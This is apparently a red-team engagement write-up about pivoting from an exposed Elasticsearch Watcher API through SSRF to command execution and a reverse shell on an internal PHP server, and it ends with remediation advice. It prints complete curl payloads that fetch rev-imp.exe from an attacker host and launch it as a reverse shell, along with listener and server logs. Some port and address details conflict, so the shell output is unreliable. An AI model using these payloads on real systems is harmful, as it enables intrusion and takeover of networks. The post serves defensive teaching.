1. The Hook: A Silent Door Left Ajar

The glow of the monitor was the only thing cutting through the 2:00 AM silence of the operations center. What began as a routine perimeter sweep had turned into a hunt. Amidst a sea of standard web headers and predictably patched services, a single endpoint flared like a beacon in the dark: https://elasticsearch.[REDACTED_DOMAIN].

While the data indices were locked down tight, the management layer was a different story. I poked at the _watcher API, a feature often forgotten by admins, and the server didn't just respond — it invited me in. This wasn't just a misconfiguration; it was a silent door left ajar, and my gut told me this "feature" was about to become a gateway into the heart of the network.

The Exploit Chain at a Glance:

  • Vector: Publicly exposed Elasticsearch _watcher API.
  • Pivot: Server-Side Request Forgery (SSRF) to bypass perimeter firewalls.
  • Target: Internal PHP management interface with an unauthenticated JSON-RPC vulnerability.
  • Impact: Arbitrary file download leading to a Reverse Shell and full Remote Code Execution (RCE).

2. The Vulnerability: The Power and Peril of Watche

The Elasticsearch Watcher API is designed for the high-level automation of alerts. It's a powerful tool that monitors data changes and triggers "actions," such as sending emails or making webhooks. In a secured environment, it's a productivity boon. In an exposed one, it's a textbook vector for Server-Side Request Forgery (SSRF).

The vulnerability centers on the _watcher/watch/_execute endpoint. By submitting a crafted JSON payload, an attacker can force the Elasticsearch server to act as a proxy, making outbound HTTP requests on their behalf. Because this server usually sits behind the firewall in a trusted zone, it serves as a perfect bridge to reach internal assets that the public internet should never see.

The goal was no longer just querying data; it was about using Elasticsearch to speak directly to the internal infrastructure.

3. Phase 0: Sonar in the Dark (The Reconnaissance)

I didn't immediately know what lay behind the firewall, so I turned the Elasticsearch instance into a sonar ping. Using the SSRF, I began sweeping the internal /24 subnet. Most requests timed out into the void, a silent confirmation of dead IPs.

But then, [REDACTED_IP] responded. A quick header grab via the SSRF proxy revealed a forgotten PHP management interface residing at /index.php. Deeper probing uncovered that this internal application featured its own command-execution vulnerability via a loosely secured JSON-RPC interface. The bridge to the internal network was established; now I needed to cross it.

4. Phase 1: Whispers in the Log (Out-of-Band Testing)

Verification is the first rule of the engagement. I needed to know if the server could talk to the outside world — and more importantly, if the internal PHP app could reach back out to me.

I crafted a payload to force the Elasticsearch instance to hit that internal PHP app, instructing it to curl my attacker-controlled server at [REDACTED_IP]:8082.

curl -sK -X POST "https://elasticsearch.[REDACTED_DOMAIN]/_watcher/watch/_execute?pretty" -H "Content-Type: application/json" -d '{
"watch": {
  "trigger": { "schedule": { "interval": "1h" } },
  "input": {
    "http": {
      "request": {
        "host": "[REDACTED_IP]",
        "port": 80,
        "method": "post",
        "path": "/index.php",
        "params": {
          "action": "9",
          "shell_form": "1"
        },
        "headers": {
          "X-Requested-With": "XMLHttpRequest",
          "Content-Type": "application/json"
        },
        "body": "{\"jsonrpc\":\"2.0\",\"method\":\"curl\",\"params\":[\"[REDACTED_IP]:8082/red-test\"],\"id\":5}"
      }
    }
  },
  "actions": {}
}
}'

I watched the terminal, waiting for the server to betray its internal secrets. The callback was instantaneous. My Python HTTP server logged a hit from the internal infrastructure:

root@redteam:~/multi-handler# python3 -m http.server 8082
Serving HTTP on 0.0.0.0 port 8082 (http://0.0.0.0:8082/) ...
[REDACTED_IP] - - [11/May/2026 12:15:24] code 404, message File not found
[REDACTED_IP] - - [11/May/2026 12:15:24] "GET /red-test HTTP/1.1" 404 -

The 404 was a beautiful sight. The "ping" was successful.

5. Phase 2: Weaponizing the Request

With connectivity confirmed, I transitioned from testing to exploitation. The SSRF-to-RCE chain was now a matter of delivery. I staged rev-imp.exe on my infrastructure and updated the JSON payload. I was no longer just asking for a "ping"; I was commanding the internal server to download my toolkit.

curl -sK -X POST "https://elasticsearch.[REDACTED_DOMAIN]/_watcher/watch/_execute?pretty" -H "Content-Type: application/json" -d '{
"watch": {
  "trigger": { "schedule": { "interval": "1h" } },
  "input": {
    "http": {
      "request": {
        "host": "[REDACTED_IP]",
        "port": 80,
        "method": "post",
        "path": "/index.php",
        "params": {
          "action": "9",
          "shell_form": "1"
        },
        "headers": {
          "X-Requested-With": "XMLHttpRequest",
          "Content-Type": "application/json"
        },
        "body": "{\"jsonrpc\":\"2.0\",\"method\":\"curl\",\"params\":[\"http://[REDACTED_IP]:8082/rev-imp.exe --output rev-imp.exe\"],\"id\":5}"
      }
    }
  },
  "actions": {}
}
}'

The logs on my side confirmed the transfer. A clean 200 OK showed the internal system pulling the binary across the digital divide:

root@redteam:~/Nexus-C2# python3 -m http.server 8082
Serving HTTP on 0.0.0.0 port 8082 (http://0.0.0.0:8082/) ...
[REDACTED_IP] - - [11/May/2026 12:30:05] "GET /rev-imp.exe HTTP/1.1" 200 -

6. Phase 3: The Final Strike

The exploit chain had reached its climax. I had a foothold, a delivery mechanism, and a binary residing on the target's internal drive. The final step was the kill shot: execution.

Using the same SSRF vector, I sent a final command to trigger rev-imp.exe, configuring the reverse shell payload to tunnel back through [REDACTED_DOMAIN]. Notice the specific escaping required for the command path as I utilized the internal server's own JSON-RPC method to execute the file:

curl -sK -X POST "https://elasticsearch.[REDACTED_DOMAIN]/_watcher/watch/_execute?pretty" -H "Content-Type: application/json" -d '{
"watch": {
  "trigger": { "schedule": { "interval": "1h" } },
  "input": {
    "http": {
      "request": {
        "host": "[REDACTED_IP]",
        "port": 80,
        "method": "post",
        "path": "/index.php",
        "params": {
          "action": "9",
          "shell_form": "1"
        },
        "headers": {
          "X-Requested-With": "XMLHttpRequest",
          "Content-Type": "application/json"
        },
        "body": "{\"jsonrpc\":\"2.0\",\"method\":\".\\\\\\\\rev-imp.exe\",\"params\":[\"-rev\",7852,\"[REDACTED_DOMAIN]\",21340],\"id\":5}"
      }
    }
  },
  "actions": {}
}
}'

I set my listener and waited: rlwrap nc -lvnp 1234. The silence of the room was broken by the rhythmic scrolling of a new connection.

7. Capture: "Hijack Successful"

The terminal didn't just blink; it sang. The SSRF had successfully transitioned into full Remote Code Execution. I wasn't just a shadow in the index anymore; I was a user on the system.

┌──(root💀offsec)-[~]
└─# rlwrap nc -lvnp 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 39694
[+] Hijack Successful. User Identity:
[REDACTED_DOMAIN]\[REDACTED_USER]
C:\xampp\htdocs\>

The shell confirmed my location: C:\xampp\htdocs\>. More critically, the user identity revealed I was operating as a domain user. This wasn't just a local compromise; it was a direct foothold for a full domain takeover.

8. The Aftermath: Lessons from the Index

This engagement is a masterclass in how "feature-rich" services can be weaponized into a network bridge. SSRF is often dismissed as a secondary bug, a "medium" on a vulnerability report. But as demonstrated here, it remains one of the most potent pivot points in a modern attacker's arsenal. In the right hands, a simple HTTP request becomes a total hijack.

Remediation Playbook for Defenders

To break this specific attack chain — and prevent similar network pivoting — organizations must adopt a defense-in-depth approach spanning the application, network, and infrastructure layers.

1. Secure Elasticsearch Deployments (The Gateway)

  • Never Expose APIs to the Public: Management APIs (_watcher, _cat, _cluster) should strictly reside behind a VPN or internal management VLAN. In elasticsearch.yml, bind network.host to local or specific internal interfaces (e.g., 10.x.x.x), not 0.0.0.0.
  • Enforce Authentication: Enable Elasticsearch Security features (formerly X-Pack). Require strong authentication and implement Role-Based Access Control (RBAC). A public user should never have the permissions to execute Watcher actions.
  • Restrict Watcher Actions: If Watcher is required for internal alerts, restrict the allowed domains it can communicate with by configuring xpack.http.proxy.host or strictly whitelisting allowed destination IPs in your firewall.

2. Audit Internal APIs (The Target)

  • Zero Trust for Internal Traffic: The internal PHP server was compromised because it assumed traffic originating from inside the network (from Elasticsearch) was safe. Internal APIs, especially those handling JSON-RPC or shell executions, require the exact same rigorous authentication and input validation as external-facing apps.
  • Sanitize Execution Sinks: The PHP application allowed direct passing of arguments to curl and execution of arbitrary binaries. Implement strict allow-lists for system commands and sanitize all user-supplied input to prevent command injection.

3. Implement Strict Egress Filtering (The Kill Chain Breaker)

  • Block Outbound Connections: This exploit relied entirely on the internal PHP server's ability to reach out to the internet to download the rev-imp.exe payload and establish a reverse shell.
  • Default Deny: Internal servers should operate on a "default deny" egress policy. They should only be allowed to communicate with the specific external IPs and ports necessary for their core function (e.g., specific update repos or API endpoints). If egress filtering had been active, the exploit chain would have died at Phase 2.